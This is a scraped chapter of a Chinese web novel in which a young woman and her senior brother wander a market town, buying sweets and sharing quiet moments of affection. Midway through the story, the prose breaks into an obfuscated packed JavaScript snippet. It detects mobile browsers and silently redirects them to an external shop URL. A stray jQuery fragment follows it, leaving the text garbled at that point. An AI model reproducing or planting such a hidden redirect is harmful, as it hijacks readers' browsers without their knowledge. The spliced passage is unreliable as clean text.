文趣网 > 其他小说 > 师门来了个黑心棉 > 21. 正好
    从糖糕铺子出来之后,持盈手里多了一个纸包。

    纸包里是刚出锅的马蹄糕,还冒着热气。

    她低头看了一眼,没有吃,将纸包托在手里,用掌心试了试温度。

    黎素真走在她身侧,手里已经替她拎了几样东西。

    一小包桂花糖,一扎草绳捆着的干艾草,还有方才路过书肆时她翻了两页便放下、他却默默买下来的一本《青州风物志》。

    他拎着这些东西走在她身侧,像一棵会移动的架子。

    持盈走了一小段路,停下来,回头看了一眼街角另一家铺子。

    门面不大,檐下挂着一块旧木招牌,写着“陈记酸果”三个字。

    她看了一眼,便转身朝那家铺子走过去。黎素真便也跟着她拐了个弯,一起站到了那家铺子门口。

    铺子里的货架上摆着几只大肚陶坛,坛口封着红布,布上用墨笔写着“酸枣糕”、“山楂条”、“盐津梅子”之类的字样。

    柜台后面坐着一个头发花白的老头儿,戴着老花镜,正在用一张油纸包什么,见有客来便放下了手里的活计。

    “小娘子要点什么?”老头儿笑眯眯地问。

    持盈的目光在货架上扫了一圈,落在一只标着“酸枣糕”的陶坛上:“这个要一点。”

    老头儿应了一声,揭开坛盖,用竹夹夹出几块暗红色的酸枣糕来,放在油纸上称了称,又添了一块,利落地包好了递过来。

    持盈接过纸包,没有急着收起来,打开纸包闻了一下,一股酸甜的气味扑面而来,她的眉眼几不可察地松动了些许。

    她又看到柜台角落里摆着几只小瓷罐,罐身上贴着一方红纸,写着“酸橘露”三个字。

    “那是什么?”

    老头儿顺着她的目光看过去,笑道:“自家熬的酸橘露,挖一勺泡在水里,酸酸甜甜的,好喝得很。小娘子要不要来一罐?”

    持盈想了想:“要一罐。”

    老头儿便取了一只干净的小瓷罐,揭开旁边一只大缸的盖子。

    从缸中舀出几勺琥珀色的浓稠液体,装进小瓷罐里,塞上木塞。又在罐口封了一层油纸,用细绳扎紧了,递了过来。

    持盈接过来,低头看了看那只小瓷罐,又抬头看了一眼黎素真。

    黎素真手里已经拎满了东西,正站在那里安静地等着她,目光落在她脸上,带着一种他自己大概都没有意识到的温和。

    他见她看过来,便自然而然地伸出一只手来:“给我吧,我帮你拿。”

    持盈看了他伸出的那只手,又低头看了看自己手里那只小瓷罐,忽然没有马上递过去。

    她将那只小瓷罐在手里转了半圈,语气幽幽说了一句:“师兄,你手里已经拿不下了。”

    黎素真低头看了看自己两只手上拎着的东西,大大小小已经有好几样,确实没有多余的手了。他顿了一下,似乎在思考该怎么腾出手来,换到一半又停住了。

    持盈便趁着他换手换到一半、两只手都腾不开的那个瞬间,将那只小瓷罐轻轻放进了他怀里,刚好卡在他两臂之间。

    她退后一步,背着手,安安静静地看着他。

    黎素真低头看着怀里那只凭空多出来的小瓷罐,又抬头看了看她。

    她站在那里,日光从檐外斜斜地照进来,在她脸上落了一片明亮的光。

    表情仍然是那种惯常的平淡,但她的眼睛里有笑意流出。

    他怔了一下,倏而笑了,带着一点无奈的意味。像是被一片树叶落在肩头,又好气又好笑地发现那片树叶是故意落在那里的。

    黎素真摇了摇头:“你啊,都会逗师兄了。”

    他依旧温温柔柔的,只有一种拿她没有办法的纵容。

    说完便将那只小瓷罐重新调整了一下位置,稳稳地抱在怀里,和手里那些纸包纸袋一起拎着转身往街口走去。

    持盈站在原地,看着他走了两步才跟上去。

    她没有接话,但她的步伐比方才轻快了一点点。

    两人并肩走出小巷,回到了主街上。

    青州城的午市正值最热闹的时辰,街面上的行人比方才又多了不少,在日光下汇成一条缓缓流动的河。

    黎素真走在外侧,将持盈护在靠墙的一边,替她挡去大部分迎面而来的人流。

    他手里拎着大包小包,怀里揣着那只小瓷罐。走起路来多少有些笨拙,但步伐依然稳当,没有丝毫抱怨或不耐烦的神色。

    持盈走在他内侧,目光在街边的铺面上缓缓扫过。似一只蜻蜓在水面上轻轻一点便飞走了,不留痕迹。

    黎素真走了一段路,注意到她的目光在一家铺子门口停留了片刻。

    那是街角一家卖竹编器具的小铺子,门口挂着一排编好的竹篮子、竹筛子、竹斗笠,一个老篾匠正坐在门口的矮凳上,低着头用篾刀剖一根青竹。

    他的手指灵巧地翻动着,竹篾在他手中像一条驯顺的带子,被剖成均匀的细条,发出清脆的、有节奏的声响。

    持盈站在几步之外看了一会儿,没有说话。

    黎素真便也跟着停下来,站在她身侧,没有催她。

    过了好一会儿,持盈才收回目光,继续往前走。她走了两步,忽然开口说了一句:“我从前在拾翠楼的时候,阁楼的窗户外头钉着木条,什么都看不见。”

    “但若是把耳朵贴在窗缝上,能听见楼下街面上有人在叫卖竹器,就是这种声音——篾刀剖竹子的声音。”

    她说这话的时候语气很平淡,像在说一件与己无关的旧事。黎素真走在她身侧,没有立刻接话。他沉默了一会儿,才应了一声:“嗯。”让她知道他在听。

    两人又走了一小段路,前方不远处有一棵老榕树,树冠遮出了一大片荫凉。

    树荫下有几个孩子在追逐玩耍,一个卖糖人的小贩坐在树根上,面前的草靶上插着几支做好的糖人——有兔子,有蝴蝶,有一条昂着头的小蛇。

    持盈经过时放慢了脚步,目光在那几支糖人上扫了一眼,但并没有停下来。黎素真却在她身后停了一下,弯腰跟那小贩说了句什么。

    等他再跟上来时,手里已经多了一支糖人。他走到持盈身侧,将那只糖人递到她面前。

    “拿着。”

    持盈低头一看,是一只兔子。

    长长的耳朵,圆滚滚的身子,尾巴翘得高高的,看起来憨态可掬。她看了片刻,又抬头看了看黎素真。

    他没有看她,目光望着前方,语气随意的像是在说一件极小的事:“路过顺手买的,你拿着玩罢。”

    持盈低头看着那只糖兔子,没有推辞,伸手接了过来。

    她将糖兔子举到眼前转了半圈,端详了片刻,轻轻咬了一口兔子耳朵。

    嚼了几下咽下去,评价了一句:“甜的。”

    黎素真没有说话,但他目视前方的嘴角极轻微地弯了一下。

    两人继续往前走,走出了最热闹的那段街面,拐进一条人少一些的横街。

    街两旁种着槐树,正是开花的季节,一串串白色的槐花垂在枝头,在风里轻轻摇晃,空气中浮动着一种清甜的香气。

    持盈走在那条槐花覆顶的小街上,手里拿着半只糖兔子,咬了一口兔子尾巴,忽然放慢了脚步,侧过头看着黎素真:“师兄,你是特意买的。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534390|202867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >她说完便继续往前走了,步伐不紧不慢的,留下黎素真站在原地,手里拎着大包小包,被她说得噎了一下。

    他看着她的背影走出两三步远,才抬步跟上去,走到她身侧时,憋了一会儿才说了一句:“你注意到了还问。”

    “嗯。”持盈又咬了一口糖兔子,“想知道清楚一些。”

    黎素真走在旁边,沉默了好一会儿,忽然轻轻叹了口气,带着一点无奈和好笑,声音低低的:“持盈,你有时候说话真的让人没法接。”

    持盈偏过头看了他一眼:“那师兄可以不接。”

    黎素真被她这句话又噎了一下,摇了摇头,没有再说什么。

    前方有一座小石桥,桥下是一条浅浅的溪流,水面上浮着几朵零星的槐花,顺着水流缓缓漂向下游。

    持盈走到桥上停下来,趴在石栏上往下看了一会儿水面。日光透过槐花的缝隙落在水面上,碎成一片一片闪闪烁烁的光斑,随着水流轻轻晃动。

    黎素真也在她身旁停下来,将手里拎着的东西放在桥栏边的石墩上,活动了一下被勒红的手指。他没有催她,只是站在她身旁,安静地等着。

    持盈看了一会儿水面,忽然开口:“师兄,你觉不觉得这水很像我。”

    黎素真侧过头看她:“哪里像。”

    “一直在往下流,也不知道要流到哪里去。流到哪里算哪里。”她的目光仍然落在水面上,语气平平的。

    黎素真没有立刻回答。

    他也学着她的样子趴在石栏上,望着桥下的流水,沉默了片刻才开口:“水往低处流,是因为它没有别的选择,但你有。”

    持盈偏过头来看着他,等他说下去。

    黎素真没有看她,目光仍然落在水面上,语气很平:“你不想流到哪里去的时候,可以停下来。不想流了,可以上岸。水做不到的事,人可以做得到。”

    他说完这句话,便没有再多说了。

    持盈趴在石栏上望着那片流水,安静了很久。只是将手里糖兔子塞进嘴里,嚼了口,站直了身子:“走吧。”

    黎素真便拎起石墩上的那些纸包纸袋,跟在她身侧,两人一同走过了那座小石桥。

    桥的另一头是一条窄一些的巷子,巷口有一棵高大的槐树,树荫几乎将整条巷子都罩住了。

    只有几缕日光从叶子的缝隙中漏下来,在青石板路面上落下一地碎金。

    两人并肩走在槐花的香气里,日光正好,风也轻柔。

    持盈走了一会儿,忽然侧过头来看着黎素真,目光在他脸上停了一瞬,语气平平地说了一句:“师兄,你方才说的那番话。是临时想出来的,还是早就准备好的?”

    黎素真被她问得脚步微微一顿,他沉默了片刻,如实答道:“临时想的。但说完之后觉得,好像在心里已经想过很多遍了。”

    他说完这句话,自己先怔了一下。

    像是忽然意识到自己说了什么不该说的话,他的目光微微闪了一下,但话已出口,收不回来了。

    持盈走在他身侧,沉默了几步路的距离,轻轻地“嗯”了一声,没有追问那“很多遍”是从什么时候开始的。

    两人就这样沉默地走过了那条槐花覆顶的长巷,日光从叶隙中漏下来,在他们的肩头落下一明一灭的光影,脚步声在青石板路面上轻轻地响着。

    走出了巷口,持盈才开口说了一句:“师兄,回去之后,你把那罐酸橘露泡了,我们一起喝。”

    黎素真偏过头来看她。她的目光望着前方,表情一如既往的平淡。他顿了顿,应了一声:“好。”

    两人便继续往前走了,日光正好,风也轻柔。